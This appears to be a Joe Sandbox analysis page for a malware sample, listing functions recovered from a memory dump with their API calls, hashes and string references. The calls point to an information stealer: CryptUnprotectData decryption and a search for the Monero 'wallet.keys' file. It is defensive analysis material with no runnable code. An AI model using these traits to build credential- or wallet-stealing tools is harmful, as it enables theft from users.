Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 7c1cfab1a4227254558c828736f56c21e5f594c6d645e725aecd44a6c75f6cbc
Instruction ID: c34a518d7062d05fc6c5d07a17cd2c98fcc940a1db4679dea9fa724ad670a13d
Opcode Fuzzy Hash: 7c1cfab1a4227254558c828736f56c21e5f594c6d645e725aecd44a6c75f6cbc
Instruction Fuzzy Hash: 7611F874600208BFDB04CF64E984FA633AAEF89304F10A559F9299B340DB75E982DB60

Function 00ED7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EE0E00,00000000,?), ref: 00ED79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00ED79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00EE0E00,00000000,?), ref: 00ED79C4
wsprintfA.USER32 ref: 00ED79F3

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 113284afd500bdcb37418d92ba939f8a9e4e671030505ee2e18c53b44aa7fa9c
Instruction ID: 9c6430193019e79092253c34bcea7f8e2c5b2638c4ba2fe9fb447bd41a856e93
Opcode Fuzzy Hash: 113284afd500bdcb37418d92ba939f8a9e4e671030505ee2e18c53b44aa7fa9c
Instruction Fuzzy Hash: 2C112AB2944218ABCB14DFD9ED45BBEB7F8FB4CB12F10411AF655A2284E2795940C7B0

Function 00ED7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01B8DC08,00000000,?,00EE0E10,00000000,?,00000000,00000000), ref: 00ED7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00ED7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01B8DC08,00000000,?,00EE0E10,00000000,?,00000000,00000000,?), ref: 00ED7A7D
wsprintfA.USER32 ref: 00ED7AB7

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 94a84f2ff79129fbe6f4a9e2b7ab1ee46f1ffadb76bb21149a17e70319e63a58
Instruction ID: 8c4dc444db1fcb010948fca9d1e51fbc6a63f995d3acc0e45d4ef4f40a3b51f8
Opcode Fuzzy Hash: 94a84f2ff79129fbe6f4a9e2b7ab1ee46f1ffadb76bb21149a17e70319e63a58
Instruction Fuzzy Hash: A4113CB1E45218EBEB248B54DC49FA9B778FB44721F1042AAE91AA3280D7745A81CB51

Function 0129A03D Relevance: 6.0, Strings: 4, Instructions: 955COMMON

Download Yara Rule

Strings

wz, xrefs: 0129A6A7
Y':, xrefs: 0129A804
o8yw, xrefs: 0129AA91
1$>~, xrefs: 0129A058

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1$>~$Y':$o8yw$wz
API String ID: 0-1617110467
Opcode ID: b6bd56849ec6d9e0534ddad1816c773cc84302444b67992251224fc7bfd0921f
Instruction ID: caf2bf0b3ed5b086cb1c3b6cfe02d6b5505d5d4b1706b54c26d2508a20827596
Opcode Fuzzy Hash: b6bd56849ec6d9e0534ddad1816c773cc84302444b67992251224fc7bfd0921f
Instruction Fuzzy Hash: 1852F9F36082009FE304AE2DDC4576AF7EAEFD4720F1A492DEAC4D7744EA3598118696

Function 012A1FC2 Relevance: 5.4, Strings: 3, Instructions: 1652COMMON

Download Yara Rule

Strings

Q(?o, xrefs: 012A326B
DfdI, xrefs: 012A27A7
4*_d, xrefs: 012A29AA

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4*_d$DfdI$Q(?o
API String ID: 0-882734109
Opcode ID: 6ef4c4bbae00900cb9c28ca82f72e917717a653ce02254d35f561892410bb20c
Instruction ID: 7f81681f43c8393cb4eb87ce6682fcf1b5d4a1c211373e989fb5e90af6259922
Opcode Fuzzy Hash: 6ef4c4bbae00900cb9c28ca82f72e917717a653ce02254d35f561892410bb20c
Instruction Fuzzy Hash: 3BB2F7F360C204AFE704AE2DEC8567ABBE9EF94720F16493DE6C4C7740E67598018796

Function 0128DD91 Relevance: 5.3, Strings: 3, Instructions: 1526COMMON

Download Yara Rule

Strings

Mq?, xrefs: 0128EAA6
zx+-, xrefs: 0128E809
.}, xrefs: 0128EE39

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Mq?$zx+-$.}
API String ID: 0-4024853454
Opcode ID: 4d1f0a96ef4693d4a56799d7517df0a7e11c980a27d3b53de96c3e3205e98322
Instruction ID: e3b567bc59b32b9985078e6b30d3cb12c28238eec8d66f931056b6233b40567c
Opcode Fuzzy Hash: 4d1f0a96ef4693d4a56799d7517df0a7e11c980a27d3b53de96c3e3205e98322
Instruction Fuzzy Hash: B3A207F3A086049FE704BE2DEC8577ABBE5EF94320F1A493DEAC483744E63558158687

Function 00ED3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00EDE118,00000000,00000001,00EDE108,00000000), ref: 00ED3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00ED37B0

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: ee3dbc931606177f290133f550e284453de3f0735e773c3d1d988fc295c370e1
Instruction ID: 3a5a858a3c8598385ae9368f0ee89dead2a36963bef1c2a124236c8cd4695b99
Opcode Fuzzy Hash: ee3dbc931606177f290133f550e284453de3f0735e773c3d1d988fc295c370e1
Instruction Fuzzy Hash: 76410974A00A189FDB24DB58CC84B9BB7B5FB48302F4051D9E608AB2D0D7B16EC6CF50

Function 00EC9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00EC9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00EC9BA3
LocalFree.KERNEL32(?), ref: 00EC9BD3

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 473b8a08ad182989497481f07f0683924c9d612bd06e7c0661a0e6ee28685c29
Instruction ID: 339e0c453d368c8636bbe19eef3a5e6092bb80eed05183306e46ec3c73f58b10
Opcode Fuzzy Hash: 473b8a08ad182989497481f07f0683924c9d612bd06e7c0661a0e6ee28685c29
Instruction Fuzzy Hash: 7C11F7B8A00209EFCB05DF94D989EAEB7B5FF88300F1045A8E815A7344D771AE51CFA1

Function 0129120A Relevance: 4.1, Strings: 2, Instructions: 1627COMMON

Download Yara Rule

Strings

,=, xrefs: 01291353
CZc, xrefs: 012912E1

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,=$CZc
API String ID: 0-4267854955
Opcode ID: 56e0bf55f7102340bd59da046f7c2f206cc1af8e60442abfc2e73926eb8c4cd7
Instruction ID: 9423ff2d12db0887533e6880ee138a5702bab15705f9fcb485680c52813f5270
Opcode Fuzzy Hash: 56e0bf55f7102340bd59da046f7c2f206cc1af8e60442abfc2e73926eb8c4cd7
Instruction Fuzzy Hash: 96B239F3A0C614AFE3046E2DEC8566AFBE9EF94320F1A453DEAC4C7744E63558018697

Function 00ECF68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EE15B8,00EE0D96), ref: 00ECF71E
StrCmpCA.SHLWAPI(?,00EE15BC), ref: 00ECF76F
StrCmpCA.SHLWAPI(?,00EE15C0), ref: 00ECF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECFAB1
FindClose.KERNEL32(000000FF), ref: 00ECFAC3

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9d6b0516e8152cf1e191ea057d921674d472549c9eb08b710ccf519b93f74b4f
Instruction ID: 0b28c31c141b710e9839ec6755b03d1e2692a4b7f088d1e603470707feb61bfa
Opcode Fuzzy Hash: 9d6b0516e8152cf1e191ea057d921674d472549c9eb08b710ccf519b93f74b4f
Instruction Fuzzy Hash: 3911753580014D9BDB18EB60DC55AED73B8EF10300F5452BBA51A66592EF302B4BD752

Function 0126EAFD Relevance: 1.5, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

Bn{?, xrefs: 0126EBCD

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Bn{?
API String ID: 0-683484288
Opcode ID: 74c5f80c6dc29c1f4d9ef5710b49bcf5271de31761435eb0dae13e8369170a65
Instruction ID: 6f0cca3fd40dbff9f6c525d79d8a64b5f4431ddf81f3f6a80dec3a1a7b14f724
Opcode Fuzzy Hash: 74c5f80c6dc29c1f4d9ef5710b49bcf5271de31761435eb0dae13e8369170a65
Instruction Fuzzy Hash: D66128F3E191205BE7146E29DC4576AFADAEBD4320F1B863DDAC893784E9355C0487C2

Function 0128B17A Relevance: .8, Instructions: 771COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4074e47ec79813d78b52a1a868e34b04fe6ad73dbcc91530e7a4679db1f75f2e
Instruction ID: 67302b7559dcf3359941d51f59ef177ea275986b28dc1f12c426fb3e8d08faa0
Opcode Fuzzy Hash: 4074e47ec79813d78b52a1a868e34b04fe6ad73dbcc91530e7a4679db1f75f2e
Instruction Fuzzy Hash: 92323AF3A082149FE3046E2DEC8567AFBE9EF94760F1A493DEAC4D3340E93558058697

Function 011BD26B Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
